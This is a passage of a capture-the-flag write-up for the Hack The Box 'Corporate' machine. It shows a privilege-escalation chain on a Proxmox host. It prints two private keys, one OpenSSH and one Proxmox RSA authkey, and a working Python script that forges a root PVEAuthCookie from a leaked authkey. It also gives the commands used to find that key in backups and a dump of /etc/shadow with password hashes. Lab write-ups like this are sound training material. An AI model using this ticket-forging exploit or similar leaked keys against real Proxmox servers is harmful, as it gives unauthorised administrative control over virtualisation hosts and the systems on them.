/bhI8Hpne9xXLsKrt9YphvgGIfZefwWzNJPHCjndZXQWzR3dF0IbLI4BCyRcDBjAvuFpnA
fotS6Sil8NRyMMPHEWjjcFFJQKtiuaqD/PBW39umrmeKXSQM3/vQ+2u5NOyaNujRQFFvNF
oIa3GtLJUMrl1TuanCTaeop8wrG6HQAAAAMBAAEAAAGAEeK8h/VREWzbFvVLASOnYjSe+V
+RNxASa9XaizzJE3cdoRGImuYPV6k2grUFzR2uXHaIpq+HFEZLBohBHqFu7RH+OR6mH8dR
TCcveR2kKW1OZXS14fvD3as43wrKiQA/5tE7BWLoIurwmJi8ngbBU7HUpE5lhadCvY+6si
N/Dy1sWTmdXa4zGHo1UBdC6Ao3coVT0XFgY0rV5GVZ8rk1YVH0dKmigBgTBwGRQQd0r8cw
aPkw/zivc3JexKkCpYIJxSW/vu6tIYhiMqKL2dnNlm4FaHoyMz3MeH9IJ/z6HwM6B0yiVR
vZ9L7LrzppeI6gcF36n1TFplLOal5V1MkuYOpKP7TtEFdB4qx00hsJae7lrjE195eD2jR7
SaysdFlf7Z6c7ahbhT2xBJA73rw9up5w8Jp9pgMZm554HTO6Q3KndLzhGDMKBAqk3vrhey
EzNnGRgoRbQ4Rp/MrwfGfrb7TqJ1mY5eN0cfhRRPdldUhf+/K5zJ+L9O38Xd7ARjrhAAAA
wQCt+0kqxiHjIvVua2jCfpx4tb5mPFVuMDAr0e/FFLV9Ibk1AxBXPag2Kgw7V8HWQkoiIS
K45V+QhNRh+dd/jDyghOv4tlfbi2/PgRZU70eUqT4g3Y0K54xR0bqXMalYirtj9Mk7AAj2
D4rCxb9idf0Rtc1nm34gDX1hvhlz3qe6zi9csLaA67M8jvFD0PPkaun3KFz7p5oatSPXBn
iVT5OiCsQzJKKEj7w9iddd2bJsqYTTG1bk/6LG+xSrl57pEYsAAADBAMDDGhC5mtpjG6oH
eBW43VqL2P7Ks4QMp7t9yolV5tWkVv2++Ve3NwTZdQvrHrGwSZTw6ajT7bc0fDwwIHo8N6
eDP2eQb/5+0PU1fhrwQ3ydzggxL2GBp6a/z5RMT90lOdGDqx8Tu711pUaMJLfS3h/ekNgR
dD7QP2EaKUOEouQ/QXDFWgtZ++fmmIAQoHU2Au28iuHRG2WTfJyLvnqX2Tyl+5zDv3tZwk
hfgKMyu1f7nl7e6sP9ngTMopQOKm0/fQAAAMEA3H2j56msbjs2shQGjWI8n5THFnG6cVIe
YQFILUxGznBf7JWPKofuqG8/Sh/PtDd+4jPLpFQCzWt3GCq7klw4NZMbdzZ0/44MG4qIvZ
DGy6kpLvaZezgJGgccXWbMfbQXHMteid30lVhsMXcdRHAk0A7y7E/sqiFP6ai5AxnHp79O
HI9lBvXBcEe5ygrTNLaRHOKBUwszk08S55rDgziUYFiWCDL5okPjjNuL2YWJN3584eYFCq
/Mn31W4nU5mqchAAAAJGFtaWUudG9ycGh5QGNvcnBvcmF0ZS13b3Jrc3RhdGlvbi0wNAEC
AwQFBg==
-----END OPENSSH PRIVATE KEY-----

0x11 shell on the sysadmin to Root

bash
ssh -i key sysadmin@10.9.0.1
Linux corporate 5.15.131-1-pve #1 SMP PVE 5.15.131-2 (2023-11-14T11:32Z) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed Nov 29 14:43:11 2023 from 10.8.0.2
sysadmin@corporate:~$ 
bash
sysadmin@corporate:/var/backups$ ls
alternatives.tar.0        dpkg.arch.0           dpkg.diversions.2.gz    dpkg.status.1.gz                                     unknown-2.4.57+dfsg-3+deb11u1-20230407-203136.ldapdb
apt.extended_states.0     dpkg.arch.1.gz        dpkg.statoverride.0     dpkg.status.2.gz
apt.extended_states.1.gz  dpkg.arch.2.gz        dpkg.statoverride.1.gz  proxmox_backup_corporate_2023-04-15.15.36.28.tar.gz
apt.extended_states.2.gz  dpkg.diversions.0     dpkg.statoverride.2.gz  pve-host-2023_04_15-16_09_46.tar.gz
apt.extended_states.3.gz  dpkg.diversions.1.gz  dpkg.status.0           slapd-2.4.57+dfsg-3+deb11u1

看到 /var/backups 有一些敏感文件,proxmox_backup_corporate_2023-04-15.15.36.28.tar.gz

解壓了如下:

image

然後搜索一下關於PVE的CVE,看到這篇 https://starlabs.sg/blog/2022/12-multiple-vulnerabilites-in-proxmox-ve--proxmox-mail-gateway/

根據這篇,只要有/etc/pve/priv/authkey.key 或者 /etc/pmg/pmg-authkey.key 就可以成功提權。

所以嘗試尋找一下備份有沒有這兩個文件,

bash
$ grep -a "authkey.key" -Ri .
$ cat ./var/lib/pve-cluster/config.db

image

把這個key複製下來,保存成authkey.key ,然後參考上面的exploit 製作一個cookie

key
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEA4qucBTokukm1jZuslN5hZKn/OEZ0Qm1hk+2OYe6WtjXpSQtG
EY8mQZiWNp02UrVLOBhCOdW/PDM0O2aGZmlRbdN0QVC6dxGgE4lQD9qNKhFqHgdR
Q0kExxMa8AiFNJQOd3XbLwE5cEcDHU3TC7er8Ea6VkswjGpxn9LhxuKnjAm81M4C
frIcePe9zp7auYIVVOu0kNplXQV9T1l+h0nY/Ruch/g7j9sORzCcJpKviJbHGE7v
OXxqKcxEOWntJmHZ8tVb4HC4r3xzhA06IRj3q/VrEj3H6+wa6iEfYJgp5flHtVA8
8TlXitfsBH+ZT41CH3/a6JudMYSLGKvatGgjJQIDAQABAoIBAQCBBoBcNVmctMJk
ph2Z6+/ydhXyOaCKA2tM4idvNXmSpKNzUbiD3EFBi5LN6bV3ZP05JA3mj/Y4VUlB
Gr4cY4zXgEsntsU9a8n79Oie7Z/3N0x5ZV7rdxACJazqv17bq/+EHpEyc3b3o2Rx
dNBSVi3IKup8nnY3J4wgFtEv/eqzefDc4ODcDIz/j46eh/TZLll7zhesJ6Icfml3
aZ3GjWdQWOwlj1rDCP7S/ehryNbB7p2T/FVHw6tbMf7XYtjlWzQbns+m9sQmrD3Q
Lmw9zk7NyCuZi0/l8XiaJINv4VWFUuU4/KrifW7az81AAVcNLSKkg2AQ9Q3VSdyH
z1p5Hz8tAoGBAP5wTIwhG781oHR3vu15OnoII9DFm80CtmeqA5mL2LzHB5Po2Osn
wkspMpKioukFWcnwZO9330h/FSyv6zYJP/5QfwTkskEsYli6emdwJgb0C+HJYVVx
/CWeDNvLhyNam0HcqzXMFzQhLfGaKoq4FZ95ozNOCv1K83G379o7VsRPAoGBAOQP
sFdEEgDB/t0lnOEFfRSTwtJ2/IlLwBLMlm09aIwB7DqI9dl8fIcq8YR03XhGzIg0
H28xf3b5Ql619VJ9YESRSq+F4VjuMzJpXJuHshR9wQZy8RDEtr43OwTBOG7sUNKi
I0MBFxEmfaPeZCIZCLouam1JBNAA3YwFxlPm8WBLAoGAXOmtSk6cz0pJ+b3wns9y
JzXpvkcrCcY/zcMr5VpIH0ee4MhaziSKst+sdBen3efyTefXNAtWIicmGFd1URo3
oCrM94B8B4ipsTUHldZCTK+51w2u2YDyTtpUX78G7kYcBAUNEGwi3QpwuJVPi7CF
VOMaUZXiNXS1SYWdtNeOa8kCgYA60g0SRN070s0wLo5Kv0amcwHRlJzHsIDmmFvH
6wm26pwJ8N8v69qWZi4KkrW4WtJP4tmkrSiJ//ntQZL3ZpzYsnyHzsjzTeRogSJA
fvwgKtsJFcY1I/daEhanwEoU2eByoxzjIDnZ04qeJDLBVKGam3QZobabC04Y2jhv
1WW2BwKBgCD/j2QWr62kh48MY5hCG94YrZRiH1+WdJul+HpTXGax0kB8bXXehh7N
n4+xaiJCTUElVEm2KH/7C8yKoytm8HR7eRrq7SJSbWEmvI/1Yhj1A9g2/vrCxOlm
GtYXpgsbUgcGgg3Hr9/piitsBlSME6niawdxaMT9eLyLNUAnHRec
-----END RSA PRIVATE KEY-----
python
import subprocess
import base64
import logging
import time
import tempfile
import os

def generate_ticket(authkey_bytes, username='root@pam', time_offset=-30):
    timestamp = hex(int(time.time()) + time_offset)[2:].upper()
    plaintext = f'PVE:{username}:{timestamp}'

    # Temporary file for auth key
    authkey_path = tempfile.NamedTemporaryFile(delete=False)
    logging.info(f'Writing authkey to {authkey_path.name}')
    authkey_path.write(authkey_bytes)
    authkey_path.close()

    # Temporary file for plaintext
    txt_path = tempfile.NamedTemporaryFile(delete=False)
    logging.info(f'Writing plaintext to {txt_path.name}')
    txt_path.write(plaintext.encode('utf-8'))
    txt_path.close()

    logging.info('Calling openssl to sign')
    sig = subprocess.check_output(
        ['openssl', 'dgst', '-sha1', '-sign', authkey_path.name, '-out', '-', txt_path.name])
    sig = base64.b64encode(sig).decode('latin-1')

    ret = f'{plaintext}::{sig}'
    logging.info(f'Generated ticket for {username}: {ret}')

    # Clean up temporary files
    os.remove(authkey_path.name)
    os.remove(txt_path.name)

    return ret


authkey_path = './authkey.key'
with open(authkey_path, 'rb') as key_file:
    authkey_bytes = key_file.read()

ticket = generate_ticket(authkey_bytes)
print("Generated Ticket:", ticket)

運行了之後就得到了cookie。

image

Cookie名字填:PVEAuthCookie,value 填寫上面gen出來的。

image

填好之後刷新一下

image

image

Rooted.

0xA Hashes

bash
root@corporate:~# cat /etc/shadow
root:$y$j9T$KJ/L8xhIi9u9haFUJ5529/$CGMc1ZCRTZfzMtPflnpp9Spq2OETo6Fld6IriiEwIbB:19714:0:99999:7:::
daemon:*:19438:0:99999:7:::
bin:*:19438:0:99999:7:::
sys:*:19438:0:99999:7:::
sync:*:19438:0:99999:7:::
games:*:19438:0:99999:7:::
man:*:19438:0:99999:7:::
lp:*:19438:0:99999:7:::
mail:*:19438:0:99999:7:::
news:*:19438:0:99999:7:::
uucp:*:19438:0:99999:7:::
proxy:*:19438:0:99999:7:::
www-data:*:19438:0:99999:7:::
backup:*:19438:0:99999:7:::
list:*:19438:0:99999:7:::
irc:*:19438:0:99999:7:::
gnats:*:19438:0:99999:7:::
nobody:*:19438:0:99999:7:::
_apt:*:19438:0:99999:7:::
_chrony:*:19438:0:99999:7:::
messagebus:*:19454:0:99999:7:::
_rpc:*:19454:0:99999:7:::
systemd-network:*:19454:0:99999:7:::
systemd-resolve:*:19454:0:99999:7:::
postfix:*:19454:0:99999:7:::
tcpdump:*:19454:0:99999:7:::
sshd:*:19454:0:99999:7:::
statd:*:19454:0:99999:7:::
gluster:*:19454:0:99999:7:::
tss:*:19454:0:99999:7:::
ceph:*:19454:0:99999:7:::
systemd-timesync:!*:19454::::::
systemd-coredump:!*:19454::::::
openldap:!:19454:0:99999:7:::
git:*:19455:0:99999:7:::
sysadmin:$y$j9T$E2kQZ9TL6csvgTjXCvlau/$r4Y9/c5O8UQcdCVNKdPXn69PhHC35T59bpfjiUKEkoD:19462:0:99999:7:::
_laurel:!:19688::::::

Thanks

Recommend: If you really like my writeups, please use this link to sign up for an HTB Academy account to show my appreciation.

非常推薦: 如果你真的喜歡我寫的writeup,請使用這個鏈接注冊一個 HTB Academy 賬號,以表達我的感謝。

如果你是新手,使用上面的鏈接加入 HTB 的 academy 就可以免費看 Tire 0 的所有教程,這對初學者來説是很友好的。 (建議先完成 INTRODUCTION TO ACADEMY)

If you are a beginner, join HTB's academy with this link to get free access to all the tutorials for Tire 0. This is very beginner friendly. (It is recommended to complete INTRODUCTION TO ACADEMY first)

Copyright © 2016-2026 manesec. All rights (include theme) reserved.